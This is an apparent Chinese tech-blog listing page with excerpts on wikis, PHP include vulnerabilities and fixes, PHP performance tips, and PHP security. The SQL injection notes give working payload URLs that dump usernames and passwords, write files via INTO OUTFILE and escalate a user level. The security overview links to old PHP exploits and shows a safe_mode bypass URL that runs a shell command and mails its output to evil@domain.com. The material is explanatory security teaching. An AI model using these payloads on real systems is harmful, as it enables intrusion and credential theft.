本博客立志于收集各类儿童教育资料及技术信息,便于本人和广大网友及家长查询检索,无论公司或个人认为本站存在侵权内容均可与本站联系,任何此类反馈信息一经查明属实后,将立即删除!
   
预览模式: 普通 | 列表

WIKI (维客) 究竟是什么?如何使用它?

wiki概念的发明人是Ward Cunningham。wiki这个字到底是什幺意思呢?根据FAQ的说法,WikiWiki一词来源于夏威夷语的“wee kee wee kee”,原本是“快点快点”(quick)的意思。实际上 wiki 也真的是既简单又快速,你可以看到 wiki 每天都在成长。
新概念的定义总是让人有点摸不着头脑,wiki 也不例外。先看看简单解释:Wiki--一种多人协作的写作工具。Wiki站点可以有多人(甚至任何访问者)维护,每个人都可以发表自己的意见,或者对共同的主题进行扩展或者探讨。
还不明白,那就给你看看更复杂、更晕眩的解释:Wiki指一种超文本系统。这种超文本系统支持面向社群的协作式写作,同时也包括一组支持这种写作的辅助工具。我们可以在Web的基础上对Wiki文本进行浏览、创建、更改,而且创建、更改、发布的代价远比HTML文本为小;同时Wiki系统还支持面向社群的协作式写作,为协作式写作提供必要帮助;最后,Wiki的作者自然构成了一个社群,Wiki系统为该社群提供简单的交流工具。与其它超文本系统相比,Wiki有使用方便及开放的特点,所以Wiki系统可以帮助我们在一个社群内共享某领域的知识。
还是有点云里雾里?那就通俗一点:根据 wiki 社群的定义,wiki 是一种提供「共同创作(collaborative)」环境的网站,也就是说,每个人都可以任意修改网站上的页面资料。这听起来挺疯狂的,万一有陌生人来网站上乱搞怎幺办?别担心,所有的 wiki 都有「版本控制(Version Control)」的概念,你随时都可以找回之前的正确版本;更何况你可不是单打独斗,社群的力量是非常惊人的。就在这种相信人性本善的概念下,整个 wiki 社群迅速地成长茁壮。如果你还是很担心,更可以帮 wiki 加入权限管理(Access Control)的机制,保证万无一失。除了版本控制之外,值得一题的是「格式化语法(Formating Rule)」。因为对一般人来说,HTML语法实在是个恶梦,所以 wiki 创造了一套更简单的写作语法,让大家可以专注在写作上。
你还是不明白,网络风云那也不要紧,我们就先不要咬文嚼字,还是以一种看热闹的从容心态,先慢慢看下去。
Wiki的历史还不长,无论是Wiki概念自身,还是相关软件系统的特性,还都在热烈的讨论中;所以怎样的一个站点才能称得上是一个Wiki系统还是有争议的。与Wiki相关最近出现的技术还有blog,它们都降低了超文本写作和发布的难度。这两者都与内容管理系统关系紧密。第一个 Wiki 网站诞生于1995年,Ward Cunningham 创建的,作为波特兰的模式仓库的模式定义和讨论的交互性场所: http://c2.com/ppr/;而其根源可以上述到1972年卡耐基-梅隆大学的 ZOG 数据库系统。

[阅读全文]

PHP程序漏洞产生的原因和防范方法

滥用include

  1.漏洞原因:

  Include是编写PHP网站中最常用的函数,并且支持相对路径。有很多PHP脚本直接把某输入变量作为Include的参数,造成任意引用脚本、绝对路径泄露等漏洞。看以下代码:

CODE:

 ...
 $includepage=$_GET["includepage"];
 include($includepage);
 ...    
 

  很明显,我们只需要提交不同的Includepage变量就可以获得想要的页面。如果提交一个不存在的页面,就可以使PHP脚本发生错误而泄露实际绝对路径(这个问题的解决办法在下面的文章有说明)。

  2.漏洞解决:

  这个漏洞的解决很简单,就是先判断页面是否存在再进行Include。或者更严格地,使用数组对可Include的文件作出规定。看以下代码:

CODE:

 $pagelist=array("test1.php","test2.php","test3.php"); //这里规定可进行include的文件
 if(isset($_GET["includepage"])) //判断是否有$includepage
 {
  $includepage=$_GET["includepage"];
  foreach($pagelist as $prepage)
  {
   if($includepage==$prepage) //检查文件是否在允许列表中
   {
    include($prepage);
    $checkfind=true;
    break;
   }
  }
  if($checkfind==true){ unset($checkfind); }
  else{ die("无效引用页!"); }
 }    
 

  这样就可以很好地解决问题了。

  小提示:有此问题的函数还有:require(),require_once(),include_once(),readfile()等,在编写的时候也要注意。

[阅读全文]

标签: php安全

程序员的八荣八耻

以塌实编码为荣 以心浮气躁为耻

以详细注释为荣 以注释残缺为耻

以勤于测试为荣 以懒于测试为耻

以简明文档为荣 以冗余文档为耻

以注重团队为荣 以孤傲自大为耻

以刻苦钻研为荣 以敷衍了事为耻

以善于总结为荣 以不思进取为耻

以质效并进为荣 以单取其一为耻

几点提高php序运行效率的方法

1、用i+=1代替i=i+1。符合c/c++的习惯,效率还高。
2、尽可能的使用PHP内部函数。自己编写函数之前要详细查阅手册,看有没有相关的函数,否则费力不讨好。
3、能使用单引号字符串尽量使用单引号字符串。单引号字符串的效率要高于双引号字符串。
4、用foreach代替while遍历数组。遍历数组时foreach的效率明显高于while循环,而且不需要调用reset函数。两种遍历方法如下:
reset ($arr);
while (list($key, $value) = each ($arr)) {
echo "Key: $key; Value: $value<br>n";
}
foreach ($arr as $key => $value) {
echo "Key: $key; Value: $value<br>n";
}
标签: php效率

PHP的SQL注入及注意

今天从网上学习了有关SQL注入的基本技能。SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

[阅读全文]

标签: php安全

关于php安全的综合性文章

一、Web服务器安全
PHP 其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。 PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:
_blank>http://packetstormsecurity.org/0204-exploits/7350fun
_exp.txt" target=_blank>http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
<? mail("foo@bar,"foo","bar","",$bar); ?>
执行如下的URL:
_blank>_blank>http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
这将id执行的结果发送给evil@domain.com
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:

[阅读全文]

标签: php安全

榨干 PHP,不得不转的一篇PHP使用技巧!

这篇杂文翻译整理自网络各路文档资料(见最末的参考资料),尤其是 Ilia Alshanetsky (佩服之至) 在多个 PHP 会议上的演讲,主要是各类提高 PHP 性能的技巧。为求精准,很多部分都有详细的效率数据,以及对应的版本等等。偷懒,数据就不一一给出了,直接给结论,如果需要看原文档,请到文末「参考资料」部分。橙色标题为推荐部分。

========================================================

静态调用的成员一定要定义成 static  (PHP5 ONLY)

贴士:PHP 5 引入了静态成员的概念,作用和 PHP 4 的函数内部静态变量一致,但前者是作为类的成员来使用。静态变量和 Ruby 的类变量(class variable)差不多,所有类的实例共享同一个静态变量。

// PHP CODE Highliting for CU by dZ902

<?php
class foo {
    function
bar() {
        echo
'foobar';
    }
}

$foo = new foo;

// instance way

$foo->bar();

// static way

foo::bar();
?>

静态地调用非 static 成员,效率会比静态地调用 static 成员慢 50-60%。主要是因为前者会产生 E_STRICT 警告,内部也需要做转换。

使用类常量 (PHP5 ONLY)

贴士:PHP 5 新功能,类似于 C++ 的 const。

使用类常量的好处是:

- 编译时解析,没有额外开销
- 杂凑表更小,所以内部查找更快
- 类常量仅存在于特定「命名空间」,所以杂凑名更短
- 代码更干净,使除错更方便

(暂时)不要使用 require/include_once

require/include_once 每次被调用的时候都会打开目标文件!

- 如果用绝对路径的话,PHP 5.2/6.0 不存在这个问题
- 新版的 APC 缓存系统已经解决这个问题

文件 I/O 增加 => 效率降低

如果需要,可以自行检查文件是否已被 require/include。

不要调用毫无意义的函数

有对应的常量的时候,不要使用函数。

// PHP CODE Highliting for CU by dZ902

<?php
php_uname
('s') == PHP_OS;
php_version() == PHP_VERSION;
php_sapi_name() == PHP_SAPI;
?>

虽然使用不多,但是效率提升大概在 3500% 左右。

[阅读全文]

标签: php效率

php安全

PHP勿庸置疑是非常强大的服务器端脚本语言,但是强大的功能总是伴随着重大的危险,在这章里,你将学习到使用PHP的安全模式来阻止一些PHP潜在的危险因素。
【 安全模式 】

PHP的安全模式提供一个基本安全的共享环境,在一个有多个用户帐户存在的PHP开放的Web服务器上。当一个Web服务器上运行的PHP打开了安全模式,那么一些函数将被完全的禁止,并且会限制一些可用的功能。
[  使用安全模式来强制限制 ]
在安全模式下,一些尝试访问文件系统的函数功能将被限制。运行Web服务器用户ID,如果想要操作某个文件,则必须拥有该文件读取或者写入的访问权限,实现这个限制功能对于PHP来说是没有问题的。

在安全模式开启的时候,尝试读取或者写入一个本地文件的时候,PHP将检查当前访问用户是否是该目标文件的所有者。如果不是所有者,则该操作会被禁止。(写入权限:在较低级别的文件访问权限下,可能会允许读取或者写入系统操作系统的文件,通过PHP的安全模式实现了防止你操作另外一个用户文件的操作。当然,一个Web服务器可能能够访问一个具有全局写入权限的任意文件。)

当安全模式打开的时候,以下函数列表的功能将会受到限制:

chdir , move_uploaded_file,  chgrp,  parse_ini_file,  chown,  rmdir,  copy,  rename,  fopen,  require,  highlight_file,  show_source,  include,  symlink,  link,  touch,  mkdir,  unlink
 
同样的,一些PHP扩展中的函数也将会受到影响。(加载模块:在安全模式下dl函数将被禁止,如果要加载扩展的话,只能修改php.ini中的扩展选项,在PHP启动的时候加载)

[阅读全文]

标签: php安全